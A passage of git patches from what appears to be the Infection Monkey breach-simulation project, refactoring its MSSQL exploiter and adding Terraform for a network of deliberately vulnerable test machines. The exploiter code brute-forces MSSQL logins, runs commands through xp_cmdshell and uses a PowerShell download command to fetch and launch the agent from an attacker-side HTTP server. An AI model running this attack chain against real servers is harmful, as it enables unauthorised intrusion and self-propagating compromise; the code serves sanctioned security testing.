MonkeyHTTPServer(self.host) + self.monkey_server.start() + + def stop_monkey_server(self): + self.monkey_server.stop() + + def write_download_command_to_payload(self): + monkey_download_command = self.get_monkey_download_command() + self.run_mssql_command(monkey_download_command) + return monkey_download_command + + def get_monkey_launch_command(self): + dst_path = get_monkey_dest_path(self.monkey_server.http_path) # Form monkey's launch command monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) - suffix = ">>%s" % tmp_file_path + suffix = ">>%s" % self.payload_file_path prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - monkey_launch_command = MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), - prefix=prefix, - suffix=suffix) - if not self.try_to_run_mssql_command(monkey_launch_command): - return True - self.run_file(tmp_file_path) + return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), + prefix=prefix, + suffix=suffix) - # Remove temporary dir we stored payload at - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % tmp_file_path) - self.try_to_run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) - self.try_to_run_mssql_command(tmp_dir_removal_command) - - return True - - def run_file(self, file_path): - file_running_command = MSSQLLimitedSizePayload(file_path) - return self.try_to_run_mssql_command(file_running_command) - - def create_empty_payload_file(self, file_path): - # Create payload file - suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': file_path} - tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) - return self.try_to_run_mssql_command(tmp_file_creation_command) - - def try_to_run_mssql_command(self, mssql_command): - array_of_commands = mssql_command.split_into_array_of_smaller_payloads() - if not array_of_commands: - LOG.error("Couldn't execute MSSQL because payload was too long") - return False - return MSSQLExploiter.execute_commands(self.cursor, array_of_commands) - - @staticmethod - def execute_commands(cursor, cmds): - """ - Executes commands on MSSQL server - :param cursor: MSSQL connection - :param cmds: list of commands in MSSQL syntax. - :return: True if successfully executed, false otherwise. - """ - try: - # Running the cmd on remote host - for cmd in cmds: - cursor.execute(cmd) - sleep(MSSQLExploiter.QUERY_BUFFER) - except Exception as e: - LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e) - return False - return True + def get_monkey_download_command(self): + dst_path = get_monkey_dest_path(self.monkey_server.http_path) + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path, + 'dst_path': dst_path} + prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + return MSSQLLimitedSizePayload(command=monkey_download_command, + suffix=suffix, + prefix=prefix) def brute_force(self, host, port, users_passwords_pairs_list): """ @@ -185,7 +183,7 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) - return None + raise Exception("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) class MSSQLLimitedSizePayload(LimitedSizePayload): diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py new file mode 100644 index 000000000..eabe8d9d7 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/exceptions.py @@ -0,0 +1,5 @@ + + +class ExploitingVulnerableMachineError(Exception): + """ Raise when exploiter failed, but machine is vulnerable""" + pass diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index bc74128e2..91a25c270 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -47,6 +47,13 @@ def get_interface_to_target(dst): return ret[1] +def try_get_target_monkey(host): + src_path = get_target_monkey(host) + if not src_path: + raise Exception("Can't find suitable monkey executable for host %r", host) + return src_path + + def get_target_monkey(host): from infection_monkey.control import ControlClient import platform diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index f23ba8276..0de47b155 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -7,8 +7,8 @@ from threading import Lock from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port from infection_monkey.transport import HTTPServer, LockedHTTPServer -from infection_monkey.exploit.tools.helpers import get_interface_to_target - +from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target +from infection_monkey.model import DOWNLOAD_TIMEOUT __author__ = 'itamar' @@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__) class HTTPTools(object): + @staticmethod def create_transfer(host, src_path, local_ip=None, local_port=None): if not local_port: @@ -33,6 +34,14 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + @staticmethod + def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port) + if not http_path: + raise Exception("Http transfer creation failed.") + LOG.info("Started http server on %s", http_path) + return http_path, http_thread + @staticmethod def create_locked_transfer(host, src_path, local_ip=None, local_port=None): """ @@ -60,3 +69,22 @@ class HTTPTools(object): httpd.start() lock.acquire() return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + + +class MonkeyHTTPServer(HTTPTools): + def __init__(self, host): + super(MonkeyHTTPServer, self).__init__() + self.http_path = None + self.http_thread = None + self.host = host + + def start(self): + # Get monkey exe for host and it's path + src_path = try_get_target_monkey(self.host) + self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path) + + def stop(self): + if not self.http_path or not self.http_thread: + raise Exception("Can't stop http server that wasn't started!") + self.http_thread.join(DOWNLOAD_TIMEOUT) + self.http_thread.stop() diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index a02071333..31632b045 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -10,18 +10,13 @@ class Payload(object): """ def __init__(self, command, prefix="", suffix=""): - """ - :param command: command - :param prefix: commands prefix - :param suffix: commands suffix - """ self.command = command self.prefix = prefix self.suffix = suffix def get_payload(self, command=""): """ - Returns prefixed and suffixed command (full payload) + Returns prefixed and suffixed command (payload) :param command: Command to suffix/prefix. If no command is passed than objects' property is used :return: prefixed and suffixed command (full payload) """ @@ -50,9 +45,9 @@ class LimitedSizePayload(Payload): def split_into_array_of_smaller_payloads(self): if self.is_suffix_and_prefix_too_long(): - LOG.error("Can't split command into smaller sub-commands because commands' prefix and suffix already " - "exceeds required length of command.") - return False + raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already " + "exceeds required length of command.") + elif self.command == "": return [self.prefix+self.suffix] wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) @@ -62,7 +57,7 @@ class LimitedSizePayload(Payload): return commands def get_max_sub_payload_length(self): - return self.max_length - len(self.prefix) - len(self.suffix) - 1 + return self.max_length - len(self.prefix) - len(self.suffix) def payload_is_too_long(self, command): - return len(command) > self.max_length + return len(command) >= self.max_length diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py new file mode 100644 index 000000000..af682dbff --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py @@ -0,0 +1,32 @@ +from unittest import TestCase +from payload_parsing import Payload, LimitedSizePayload + + +class TestPayload(TestCase): + def test_get_payload(self): + test_str1 = "abc" + test_str2 = "atc" + payload = Payload(command="b", prefix="a", suffix="c") + assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2 + + def test_is_suffix_and_prefix_too_long(self): + pld_fail = LimitedSizePayload("b", 2, "a", "c") + pld_success = LimitedSizePayload("b", 3, "a", "c") + assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long() + + def test_split_into_array_of_smaller_payloads(self): + test_str1 = "123456789" + pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix") + array1 = pld1.split_into_array_of_smaller_payloads() + test1 = bool(array1[0] == "prefix1234suffix" and + array1[1] == "prefix5678suffix" and + array1[2] == "prefix9suffix") + + test_str2 = "12345678" + pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix") + array2 = pld2.split_into_array_of_smaller_payloads() + test2 = bool(array2[0] == "prefix1234suffix" and + array2[1] == "prefix5678suffix" and len(array2) == 2) + + assert test1 and test2 + diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 692e278fb..d3f046f56 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -26,6 +26,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError __author__ = 'itamar' @@ -300,7 +301,11 @@ class InfectionMonkey(object): return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) - + except ExploitingVulnerableMachineError as exc: + LOG.error("Exception while attacking %s using %s: %s", + machine, exploiter.__class__.__name__, exc) + self.successfully_exploited(machine, exploiter) + return True except Exception as exc: LOG.exception("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) From 6c49cabbc2c7515a41558d976c00aa6825df6263 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 16:27:11 +0300 Subject: [PATCH 08/24] Changed string formatting to latest syntax --- monkey/infection_monkey/exploit/mssqlexec.py | 24 ++++++++++---------- 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index fc27cc600..132103287 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -36,10 +36,10 @@ class MSSQLExploiter(HostExploiter): XP_CMDSHELL_COMMAND_START = "xp_cmdshell \"" XP_CMDSHELL_COMMAND_END = "\"" EXPLOIT_COMMAND_PREFIX = ">%(payload_file_path)s" - CREATE_COMMAND_SUFFIX = ">%(payload_file_path)s" + EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}" + CREATE_COMMAND_SUFFIX = ">{payload_file_path}" MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ - "DownloadFile(^\'%(http_path)s^\' , ^\'%(dst_path)s^\')" + "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')" def __init__(self, host): super(MSSQLExploiter, self).__init__(host) @@ -79,11 +79,11 @@ class MSSQLExploiter(HostExploiter): return self.run_mssql_command(file_running_command) def create_temp_dir(self): - dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH) + dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) self.run_mssql_command(dir_creation_command) def create_empty_payload_file(self): - suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) self.run_mssql_command(tmp_file_creation_command) @@ -110,9 +110,9 @@ class MSSQLExploiter(HostExploiter): def remove_temp_dir(self): # Remove temporary dir we stored payload at - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path) + tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path)) self.run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH) + tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) self.run_mssql_command(tmp_dir_removal_command) def start_monkey_server(self): @@ -133,18 +133,18 @@ class MSSQLExploiter(HostExploiter): monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) - suffix = ">>%s" % self.payload_file_path + suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args), + return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), prefix=prefix, suffix=suffix) def get_monkey_download_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path, - 'dst_path': dst_path} + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\ + format(http_path=self.monkey_server.http_path, dst_path=dst_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path} + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) return MSSQLLimitedSizePayload(command=monkey_download_command, suffix=suffix, prefix=prefix) From ac702ffc27d9feb2d1373ae4c678d6e2c17e1145 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 16:29:08 +0300 Subject: [PATCH 09/24] Removed useless import in mssqlexec --- monkey/infection_monkey/exploit/mssqlexec.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 132103287..9e8fdc9fb 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -8,8 +8,7 @@ import pymssql from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer -from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey, \ - build_monkey_commandline, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError From c7798879554c3493194d77702e7be79b405009ad Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 3 Sep 2019 17:22:07 +0300 Subject: [PATCH 10/24] Added prefixes to all resources --- envs/monkey_zoo/terraform/config.tf | 3 +- envs/monkey_zoo/terraform/firewalls.tf | 12 ++--- envs/monkey_zoo/terraform/monkey_zoo.tf | 64 ++++++++++++------------- 3 files changed, 40 insertions(+), 39 deletions(-) diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf index c6108865a..4f9106aae 100644 --- a/envs/monkey_zoo/terraform/config.tf +++ b/envs/monkey_zoo/terraform/config.tf @@ -5,6 +5,7 @@ provider "google" { credentials = "${file("testproject-000000-0c0b000b00c0.json")}" } locals { + resource_prefix = "" service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" monkeyzoo_project="guardicore-22050661" -} \ No newline at end of file +} diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf index df33ed4d4..cafb0181d 100644 --- a/envs/monkey_zoo/terraform/firewalls.tf +++ b/envs/monkey_zoo/terraform/firewalls.tf @@ -1,5 +1,5 @@ resource "google_compute_firewall" "islands-in" { - name = "islands-in" + name = "${local.resource_prefix}islands-in" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" { } resource "google_compute_firewall" "islands-out" { - name = "islands-out" + name = "${local.resource_prefix}islands-out" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" { } resource "google_compute_firewall" "monkeyzoo-in" { - name = "monkeyzoo-in" + name = "${local.resource_prefix}monkeyzoo-in" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -39,7 +39,7 @@ resource "google_compute_firewall" "monkeyzoo-in" { } resource "google_compute_firewall" "monkeyzoo-out" { - name = "monkeyzoo-out" + name = "${local.resource_prefix}monkeyzoo-out" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -52,7 +52,7 @@ resource "google_compute_firewall" "monkeyzoo-out" { } resource "google_compute_firewall" "tunneling-in" { - name = "tunneling-in" + name = "${local.resource_prefix}tunneling-in" network = "${google_compute_network.tunneling.name}" allow { @@ -64,7 +64,7 @@ resource "google_compute_firewall" "tunneling-in" { } resource "google_compute_firewall" "tunneling-out" { - name = "tunneling-out" + name = "${local.resource_prefix}tunneling-out" network = "${google_compute_network.tunneling.name}" allow { diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index dccbf7fa8..40792672c 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -6,40 +6,40 @@ locals { } resource "google_compute_network" "monkeyzoo" { - name = "monkeyzoo" + name = "${local.resource_prefix}monkeyzoo" auto_create_subnetworks = false } resource "google_compute_network" "tunneling" { - name = "tunneling" + name = "${local.resource_prefix}tunneling" auto_create_subnetworks = false } resource "google_compute_network" "tunneling2" { - name = "tunneling2" + name = "${local.resource_prefix}tunneling2" auto_create_subnetworks = false } resource "google_compute_subnetwork" "monkeyzoo-main" { - name = "monkeyzoo-main" + name = "${local.resource_prefix}monkeyzoo-main" ip_cidr_range = "10.2.2.0/24" network = "${google_compute_network.monkeyzoo.self_link}" } resource "google_compute_subnetwork" "tunneling-main" { - name = "tunneling-main" + name = "${local.resource_prefix}tunneling-main" ip_cidr_range = "10.2.1.0/28" network = "${google_compute_network.tunneling.self_link}" } resource "google_compute_subnetwork" "tunneling2-main" { - name = "tunneling2-main" + name = "${local.resource_prefix}tunneling2-main" ip_cidr_range = "10.2.0.0/27" network = "${google_compute_network.tunneling2.self_link}" } resource "google_compute_instance_from_template" "hadoop-2" { - name = "hadoop-2" + name = "${local.resource_prefix}hadoop-2" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -56,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" { } resource "google_compute_instance_from_template" "hadoop-3" { - name = "hadoop-3" + name = "${local.resource_prefix}hadoop-3" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -71,7 +71,7 @@ resource "google_compute_instance_from_template" "hadoop-3" { } resource "google_compute_instance_from_template" "elastic-4" { - name = "elastic-4" + name = "${local.resource_prefix}elastic-4" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -86,7 +86,7 @@ resource "google_compute_instance_from_template" "elastic-4" { } resource "google_compute_instance_from_template" "elastic-5" { - name = "elastic-5" + name = "${local.resource_prefix}elastic-5" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -102,7 +102,7 @@ resource "google_compute_instance_from_template" "elastic-5" { /* Couldn't find ubuntu packages for required samba version (too old). resource "google_compute_instance_from_template" "sambacry-6" { - name = "sambacry-6" + name = "${local.resource_prefix}sambacry-6" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -118,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" { /* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP). resource "google_compute_instance_from_template" "sambacry-7" { - name = "sambacry-7" + name = "${local.resource_prefix}sambacry-7" source_instance_template = "${local.default_ubuntu}" boot_disk { initialize_params { @@ -134,7 +134,7 @@ resource "google_compute_instance_from_template" "sambacry-7" { */ resource "google_compute_instance_from_template" "shellshock-8" { - name = "shellshock-8" + name = "${local.resource_prefix}shellshock-8" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -149,7 +149,7 @@ resource "google_compute_instance_from_template" "shellshock-8" { } resource "google_compute_instance_from_template" "tunneling-9" { - name = "tunneling-9" + name = "${local.resource_prefix}tunneling-9" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -168,7 +168,7 @@ resource "google_compute_instance_from_template" "tunneling-9" { } resource "google_compute_instance_from_template" "tunneling-10" { - name = "tunneling-10" + name = "${local.resource_prefix}tunneling-10" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -187,7 +187,7 @@ resource "google_compute_instance_from_template" "tunneling-10" { } resource "google_compute_instance_from_template" "tunneling-11" { - name = "tunneling-11" + name = "${local.resource_prefix}tunneling-11" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -202,7 +202,7 @@ resource "google_compute_instance_from_template" "tunneling-11" { } resource "google_compute_instance_from_template" "sshkeys-11" { - name = "sshkeys-11" + name = "${local.resource_prefix}sshkeys-11" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -217,7 +217,7 @@ resource "google_compute_instance_from_template" "sshkeys-11" { } resource "google_compute_instance_from_template" "sshkeys-12" { - name = "sshkeys-12" + name = "${local.resource_prefix}sshkeys-12" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -233,7 +233,7 @@ resource "google_compute_instance_from_template" "sshkeys-12" { /* resource "google_compute_instance_from_template" "rdpgrinder-13" { - name = "rdpgrinder-13" + name = "${local.resource_prefix}rdpgrinder-13" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -248,7 +248,7 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" { */ resource "google_compute_instance_from_template" "mimikatz-14" { - name = "mimikatz-14" + name = "${local.resource_prefix}mimikatz-14" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -263,7 +263,7 @@ resource "google_compute_instance_from_template" "mimikatz-14" { } resource "google_compute_instance_from_template" "mimikatz-15" { - name = "mimikatz-15" + name = "${local.resource_prefix}mimikatz-15" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -278,7 +278,7 @@ resource "google_compute_instance_from_template" "mimikatz-15" { } resource "google_compute_instance_from_template" "mssql-16" { - name = "mssql-16" + name = "${local.resource_prefix}mssql-16" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -294,7 +294,7 @@ resource "google_compute_instance_from_template" "mssql-16" { /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) resource "google_compute_instance_from_template" "upgrader-17" { - name = "upgrader-17" + name = "${local.resource_prefix}upgrader-17" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -313,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" { */ resource "google_compute_instance_from_template" "weblogic-18" { - name = "weblogic-18" + name = "${local.resource_prefix}weblogic-18" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -328,7 +328,7 @@ resource "google_compute_instance_from_template" "weblogic-18" { } resource "google_compute_instance_from_template" "weblogic-19" { - name = "weblogic-19" + name = "${local.resource_prefix}weblogic-19" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -343,7 +343,7 @@ resource "google_compute_instance_from_template" "weblogic-19" { } resource "google_compute_instance_from_template" "smb-20" { - name = "smb-20" + name = "${local.resource_prefix}smb-20" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -358,7 +358,7 @@ resource "google_compute_instance_from_template" "smb-20" { } resource "google_compute_instance_from_template" "scan-21" { - name = "scan-21" + name = "${local.resource_prefix}scan-21" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -373,7 +373,7 @@ resource "google_compute_instance_from_template" "scan-21" { } resource "google_compute_instance_from_template" "scan-22" { - name = "scan-22" + name = "${local.resource_prefix}scan-22" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -388,7 +388,7 @@ resource "google_compute_instance_from_template" "scan-22" { } resource "google_compute_instance_from_template" "struts2-23" { - name = "struts2-23" + name = "${local.resource_prefix}struts2-23" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -403,7 +403,7 @@ resource "google_compute_instance_from_template" "struts2-23" { } resource "google_compute_instance_from_template" "struts2-24" { - name = "struts2-24" + name = "${local.resource_prefix}struts2-24" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -418,7 +418,7 @@ resource "google_compute_instance_from_template" "struts2-24" { } resource "google_compute_instance_from_template" "island-linux-250" { - name = "island-linux-250" + name = "${local.resource_prefix}island-linux-250" machine_type = "n1-standard-2" tags = ["island", "linux", "ubuntu16"] source_instance_template = "${local.default_ubuntu}" @@ -439,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" { } resource "google_compute_instance_from_template" "island-windows-251" { - name = "island-windows-251" + name = "${local.resource_prefix}island-windows-251" machine_type = "n1-standard-2" tags = ["island", "windows", "windowsserver2016"] source_instance_template = "${local.default_windows}" From 4f67eea2a18016ebb2d51027139855adafb1ced1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 10:19:36 +0300 Subject: [PATCH 11/24] Improved monkeyzoo docs, updated config, fixed prefix bugs --- envs/monkey_zoo/docs/fullDocs.md | 42 ++++++++++++------- envs/monkey_zoo/terraform/config.tf | 2 +- envs/monkey_zoo/terraform/monkey_zoo.tf | 56 ++++++++++++------------- envs/monkey_zoo/terraform/templates.tf | 6 +-- 4 files changed, 58 insertions(+), 48 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 4f795af45..a8c0687fc 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -58,7 +58,7 @@ Requirements: To deploy: 1. Configure service account for your project: - a. Create a service account and name it “your\_name-monkeyZoo-user” + a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user” b. Give these permissions to your service account: @@ -74,7 +74,7 @@ To deploy: **Project -> Owner** - c. Download its **Service account key**. Select JSON format. + c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**. 2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them): a. **Compute Engine -\> Compute image user** @@ -82,20 +82,30 @@ To deploy: ../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to link to your service account key file): - > provider "google" { - > - > project = "project-28054666" - > - > region = "europe-west3" - > - > zone = "europe-west3-b" - > - > credentials = "${file("project-92050661-9dae6c5a02fc.json")}" - > - > } - > - > service\_account\_email="test@project-925243.iam.gserviceaccount.com" - + provider "google" { + + project = "test-000000" // Change to your project id + + region = "europe-west3" // Change to your desired region or leave default + + zone = "europe-west3-b" // Change to your desired zone or leave default + + credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key. + // If you followed instruction above leave it as is + + } + + locals { + + resource_prefix = "" // All of the resources will have this prefix. + // Only change if you want to have multiple zoo's in the same project + + service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email + + monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is. + + } + 4. Run terraform init To deploy the network run:
diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf index 4f9106aae..3a2bf0fc4 100644 --- a/envs/monkey_zoo/terraform/config.tf +++ b/envs/monkey_zoo/terraform/config.tf @@ -2,7 +2,7 @@ provider "google" { project = "test-000000" region = "europe-west3" zone = "europe-west3-b" - credentials = "${file("testproject-000000-0c0b000b00c0.json")}" + credentials = "${file("../gcp_keys/gcp_key.json")}" } locals { resource_prefix = "" diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index 40792672c..cf45d93e0 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -48,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.2" } // Add required ssh keys for hadoop service and restart it @@ -65,7 +65,7 @@ resource "google_compute_instance_from_template" "hadoop-3" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.3" } } @@ -80,7 +80,7 @@ resource "google_compute_instance_from_template" "elastic-4" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.4" } } @@ -95,7 +95,7 @@ resource "google_compute_instance_from_template" "elastic-5" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.5" } } @@ -110,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.6" } } @@ -127,7 +127,7 @@ resource "google_compute_instance_from_template" "sambacry-7" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.7" } } @@ 